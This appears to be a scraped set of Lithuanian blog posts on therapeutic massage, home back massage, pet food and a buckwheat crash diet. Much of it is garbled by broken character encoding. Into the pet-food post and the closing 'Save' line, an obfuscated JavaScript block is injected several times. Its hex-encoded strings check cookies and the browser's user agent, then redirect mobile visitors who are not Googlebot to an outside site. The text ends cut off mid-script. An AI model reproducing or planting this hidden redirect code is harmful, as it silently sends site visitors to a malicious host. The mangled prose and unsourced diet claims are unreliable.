Gydomasis masažas Vilniuje: ar verta kreiptis į privačius masažuotojus?

gydomasis masažas vilniujeKiekvienas gydomasis masažas Vilniuje turi būti atliekamas tik šią sritį išmanančio profesionalo, todėl jokiu būdu nerekomenduojama kreiptis į neaiškius masažo paslaugas siūlančius asmenis, nes didelė tikimybė, kad jie nėra patikimi ir žinantys ką daro. Gydomieji masažai dažniausiai paskiriami gydytojų, tačiau kartais ir specialūs salonai gali juos atlikti atsižvelgiant į kliento būklę. Tai reiškia, kad įvairių traumų atveju gydomieji masažai gali būti atliekami ir be gydytojų rekomendacijų. Tokiu atveju reikėtų kreiptis į profesionalius salonus arba sveikatingumo klinikas. Masažų kainos priklauso tiek nuo jų tipo, tiek nuo seanso trukmės, tiek ir nuo specialisto kompetencijos.

Būtina pabrėžti, kad geriausi masažo specialistai tikrai nedirba už kelis eurus – seansas pas juos gali kainuoti gana brangiai. Tačiau, jeigu kreipsitės į nepatikimus asmenis, kurie teikia masažo paslaugas neturėdami kompetencijos, tai pas juos sumokėsite irgi nemažas suma, bet rezultato nematysite jokio. Profesionalus gydomasis masažas trunka ne kelias minutes, jis gali trukti ir porą valandų. Priklausomai nuo trukmės, kinta ir masažo kaina. Verta pabrėžti, kad dauguma traumas patyrusių žmonių kreipiasi iškart į profesionalus ir sutinka mokėti atitinkamas sumas, nes vis dėlto – jie rezultatą gali matyti iš karto po pirmo seanso. Bet, yra tokių traumų, kurių gydymui gali tekti pasinaudoti keliais tokiais seansais.

Kalbant apie masažo kainas, tai nereikėtų iškart manyti, kad jos yra didelės. Yra būdų ir sutaupyti. Pirmiausia, jeigu jūs ketinate pasinaudoti ne vienu masažo seansu, tai jums labiau tiktų abonementas, nes bendroje sumoje gautųsi gerokai pigiau, nei kaskart kreipiantis iš naujo. Taip pat galima surasti ir nemažai akcijų. Internete aptikti nuolaidas siūlančius masažo specialistus nėra sudėtinga – vedate tokį terminą kaip „masažai Vilniuje akcija“ ir gaunate visus pasiūlymus.

Masažo paslaugas teikiantys salonai, klinikos bei privatūs asmenys nustato skirtingus paslaugų įkainius, nes kiekvienoje vietoje gali būti naudojama skirtinga masažo metodika, įranga ir t.t. Prieš kreipiantis dėl masažo paslaugų, būtinai pasidomėkite kokio tipo masažas jums būtų naudingiausias, siekiant panaikinti nugaros skausmus.

Daugiau informacijos svetainėje http://tailandomasazai.lt

Stebuklinga masažo galia

masazas

masazas

Masazas – tai ne tik puikus atsipalaidavimo, bet ir gydymo būdas. Manoma, kad masažai atsirado kartu su žmonija. Kiekvienoje kultūroje ir epochoje buvo naudojamos išskirtinės masažo metodikos, padedančios išgydyti įvairius skausmus. Be to, kartais nejučiomis ir patys pradedame masažuoti vietą, kurią skauda – visa tai rodo, kad masazas yra geros savijautos užtaisas.

Be abejo, šiandien masažo technikos yra pagrįstos mediciniškai – visi medikai pripažįsta, kad ši procedūra turi ypatingą gydomąją galią. Tinkamai atliktas jis gerina kraujotaką ir limfotaką, taip pat nervų sistemą, mažina sąnarių skausmus, teigiamai veikia raumenis, virškinimo bei kvėpavimo sistemą. Ypač pastebima psichologinė masažo nauda. Masazas vilniuje – puikus būdas atsipalaiduoti, sumažinti stresą, pasisemti daugiau energijos. Apskritai, masažas prilyginamas miegui ir meditacijai, o tokia būsena skatina viso organizmo jaunėjimą ir sveikimą.

Manoma, kad vienas geriausių masažų atliekamas naudojant aliejus, kadangi jie suminkština, pamaitina, sustangrina, atjaunina odą ir padeda sustabdyti senėjimo procesus.

Gali būti atliekamas tiek segmentinis, tiek viso kūno masažas. Jeigu žmogus reguliariai naudojasi masažo paslaugomis tam, kad išgydyti kokius nors negalavimus – tai vadinama masažo terapija. Masažą atlieka patyrę, kvalifikuoti šios srities profesionalai. Be to, šiandien gana paplitęs ir erotinis masazas, kuris naudojamas meilės žaidimuose arba sekso industrijoje. Ne mažiau populiarus ir kineziterapinis masažas, kuriuo stiprinama sveikata, atkuriamas darbingumas, sugrąžinama prarasta energija. Be to, dažnai masažas atliekamas naudojant papildomus prietaisus – specialius masažuoklius. Tokie prietaisai palengvina specialisto darbą ir apskritai leidžia šį darbą atlikti patiems. Pabrėžtina ir tai, kad šiandien masažai tapo spa procedūrų sudedamąja dalimi.
Nugaros masažas – kaip išmokti atlikti pačiam?

Nugaros masazas padeda atsikratyti nugaros ir pečių skausmų. Jeigu norite palepinti savo antrąją pusę nugaros masažu, svarbu įsidėmėti kelias taisykles kaip daryti masaza, kadangi neteisingai atliktas jis gali sukelti nemažai žalos. Visų pirma, reikia išsiaiškinti, kur yra spaudimo taškai. Yra penki pagrindiniai spaudimo taškai: nugaros viršuje, kur susiduria nugara ir kaklas; tarp menčių; alkūnės lygyje, žemiau dubens; po rankų duobute. Pasidomėkite, kaip reikia spausti šiuos taškus, kad jūsų masažas atneštų naudos, o ne žalos.
Svarbu prisiminti svarbią taisyklę, kad jokiu būdu negalima atlikti masažo žmogui, kuris serga kokia nors infekcine, odos liga, karščiuoja, turi širdies sutrikimų. Jokiu būdu nemasažuokite vietų, kur yra gumbai, navikai, įvairūs sumušimai ir žaizdos.
Atsiminkite, kad masažuojant nugarą svarbu atlikti simetriškus veiksmus – negalima vienos nugaros pusės masažuoti daugiau nei kitos. Be to, masažas turi būti pradedamas lengvais judesiais.

Masažo metu naudokite aliejus arba gydomuosius tepaliukus. Aliejais masažą atliksite daug lengviau, kadangi jis padeda rankoms lengviau slysti. Taip pat aliejai turi daug naudingų medžiagų, kurios prasiskverbia į odą ir teigiamai ją veikia. Yra daugybė aliejų, turinčių įvairių gydomųjų savybių, todėl nepatingėkite paieškoti tinkamiausio.
Svarbu žinoti ir tai, kad masažas atliekamas keturiais pagrindiniais judesiais: glostymo, trynimo, plekšnojimo, minkymo. Glostymo judesius patartina atlikti pradedant ir užbaigiant masažą. Šis masažo būdas nuramina nervų sistemą ir sušildo kūną. Po glostymo palaipsniui prieinama prie kitų masažo būdų. Kitas gali būti trynimo būdas – jis turi daugiau gydomųjų galių – teigiamai veikia raumenis, didina sąnarių lankstumą, gerina kraujo apytaką. Vėliau gali būti naudojamas plekšnojimas – tačiau šie judesiai neturi būti atliekami jėga. Šis masažo būdas naudojamas vietose, kur yra daug raumenų. Vėliau galima panaudoti ir minkymo būdą – šis būdas geriausiai padeda atsikratyti skausmų.

GyvAi??nA? maistas ai??i?? pigu, greita ir sveika

Ai??vairiausi gyvAi??nai ir gyvAi??nAi??liai seniai tapo daugiau nei tik maisto A?altinis ar darbo jAi??ga. Ai??vairios civilizacijos jau kelis tAi??kstantmeA?ius augina kates, A?unis bei kitus gyvAi??nus dAi??l jA? groA?io ar tiesiog kompanijos. Kiekvienas savo gyvAi??nAi??lA? mylintis A?mogus, jA? lepina ir stengiasi maitinti kuo kokybiA?kiau, todAi??l atsirado A?vairus specializuotas maistas gyvAi??nams ir gyvAi??nAi??liams.

PagrindinAi??s prieA?astys lAi??musios, kodAi??l A?monAi??s savo gyvAi??nams perka specialA? maistAi?? yra trys: pigu, greita, sveika. VisA? pirma A?erti savo naminA? augintinA? specializuotu gyvAi??nA? maistu yra A?ymiai pigiau nei tuo, kurA? valgome patys.

akita-inu-4

Specializuotas sausas, konservuotas ar dA?iovintas gyvAi??nA? maistas gaminamas itin dideliais kiekiais, todAi??l jo savikaina ganAi??tinai nedidelAi??. Taip pat gyvAi??nA? maistas gaminamas taip, jog bAi??tA? labiau maistingas ir sotus, nei skanus, todAi??l jo gamybai nenaudojami skonio stiprikliai ar kokios nors ypatingos technologijos. NedidelAi?? savikaina ir tai, jog gyvAi??nams daug svarbiau maistinAi?? produkto vertAi??, o ne jo skonis lAi??mAi?? tai, kad Ai??dalo kaina yra A?enkliai maA?esnAi?? uA? A?moniA? mAi??gstamo maisto.

TurbAi??t ir neverta aiA?kinti, kiek daug laiko sutaupome savo naminius gyvAi??nus A?erdami jau paruoA?tu Ai??dalu. UA?tenka praplAi??A?ti Ai??dalo pakuotAi?? ir A? A?uns indelA? A?pilti sauso Ai??dalo, turbAi??t tai pats lengviausias maisto ruoA?imo procesas, koks tik gali bAi??ti. Greitas paruoA?imas, lemiantis asmeninio laiko taupymAi??, greiA?iausiai ir lAi??mAi?? tai, jog sausas A?unA? ir kaA?iA? Ai??dalas tapo toks populiarus.

Maistas gyvAi??nams netik taupo JAi??sA? laikAi?? ir yra pigus, taA?iau kartu yra labai sveikas. GreiA?iausiai visi A?inote, jog gyvAi??nai jauA?ia koks maistas yra geras ir maistingas, o kuris tiesiog greitas pusfabrikatis. Jei kada nors bandAi??te savo A?uniui suA?erti bulviA? traA?kuA?iA? ar dar kokio nors greito ir itin nesveiko maisto, turbAi??t pastebAi??jote, jog gyvAi??nas jA? net neragavo. Tuo tarpu A?uo ar katinas net nesusimastydamas godA?iai kemA?a specializuoto sauso Ai??dalo kubelius. Taip yra todAi??l, jog specializuotas gyvAi??nA? maistas gaminamas tik iA? sveikA?, pirmarAi??A?iA? produktA?.

Taigi specializuotas naminiA? gyvAi??nA? maistas taupo A?eimininko brangA? laikAi??, yra ganAi??tinai pigus ir tuo paA?iu sveikas ir maistingas paA?iam gyvAi??nui.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

GrikiA? dieta ai??i?? tik stipriausioms

Jei reikia greitai ir efektyviai numesti svorio, visuomet tenka iA?girsti siAi??lymo laikytis grikiA? dietos. Ai??i dieta priskiriama mono dietoms, kadangi jos pagrindAi?? iA? esmAi??s sudaro vienas produktas ai??i?? grikiai.

GrikiA? dietos principai

GrikiA? dieta rekomenduojama 7 dienoms. Jos metu valgoma grikiA? koA?Ai??, kuri ruoA?iam be riebalA?, druskos ar prieskoniA?. ParuoA?imas paprastas: tereikia nuplauti grikiA? kruopas, supilti A? indAi?? ir uA?pilti vandeniu. Palikti brinkti kelioms valandoms arba geriau uA?pilti iA? vakaro. 100 g grikiA? kruopA? pilnai uA?tenka dienai.

svoris

Virti grikiA? koA?Ai??s nerekomenduojama, nes tada ji praranda daug mineraliniA? medA?iagA?. Valgant nevirtus, o iA?brinkintus grikius organizmas gauna kalcio, kalio, geleA?ies, jodo, fosforo, tad nereikia papildomai naudoti maisto papildA?.

GrikiA? dieta papildoma kefyru

GrikiA? dietos racionAi?? rekomenduojama papildyti baltymA? A?altiniu ai??i?? neriebiu kefyru, natAi??raliu jogurtu, rAi??gpieniu. Svarbiausia, jog tai bAi??tA? neriebAi??s rauginto pieno produktai. JA? per dienAi?? galima iA?gerti iki litro. Toms, kurioms grikiA? koA?Ai?? atrodo per sausa ir neskani, taip suteikiama galimybAi?? pasiskaninti jAi?? jogurtu. TaA?iau mitybos specialistai teigia, jog daugiau naudos A?iuos maisto produktus valgant atskirai.

GrikiA? koA?Ai?? ir kefyras suteikia pakankamai energijos organizmui bei maistiniA? medA?iagA?. TaA?iau jei visgi kankina alkis, galima uA?kandA?iams suvalgyti saujAi?? dA?iovintA? vaisiA?.

Dietos metu galima gerti vandenA?, arbatAi??, kavAi??, taA?iau gAi??rimai turi bAi??ti nesaldinti.

PorcijA? paskirstymas

Dietos metu galima valgyti daA?nai, taA?iau maA?omis porcijomis. Tarpai tarp valgiA? turi bAi??ti nedidesni nei dvi valandos. PaskutinA? kartAi?? galima valgyti 3 valandas prieA? miegAi??.

Kaip daA?nai galima laikytis grikiA? dietos?

GrikiA? dieta yra itin efektyvi, taA?iau, A?inoma, grA?A?us prie A?prastos mitybos, ypaA? jei ji nesubalansuota ir nesveika, kilogramai vAi??l sugrA?A?ta. Tad kyla noras vAi??l laikytis A?ios dietos. Visgi itin daA?nai jos laikytis negalima. Specialistai rekomenduoja grikiA? dietos laikytis be daA?niau kaip kas 3-6 mAi??nesius, taigi laikytis galima 2-4 kartus per metus.

Kam draudA?iama laikytis grikiA? dietos?

Ai??iosAi?? dietos laikytis draudA?iama nAi??A?A?iosioms ir maitinanA?ioms, taip pat A?monAi??ms sergantiems chroniA?komis ligomis, A?monAi??ms, kurie neseniai sirgo ir jA? imunitetas yra nusilpAi??s. PrieA? laikantis dietos visuomet reikia pasitarti su gydytoju.

Daugiau informacijos tinklalapyje Los.lt

Savevar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 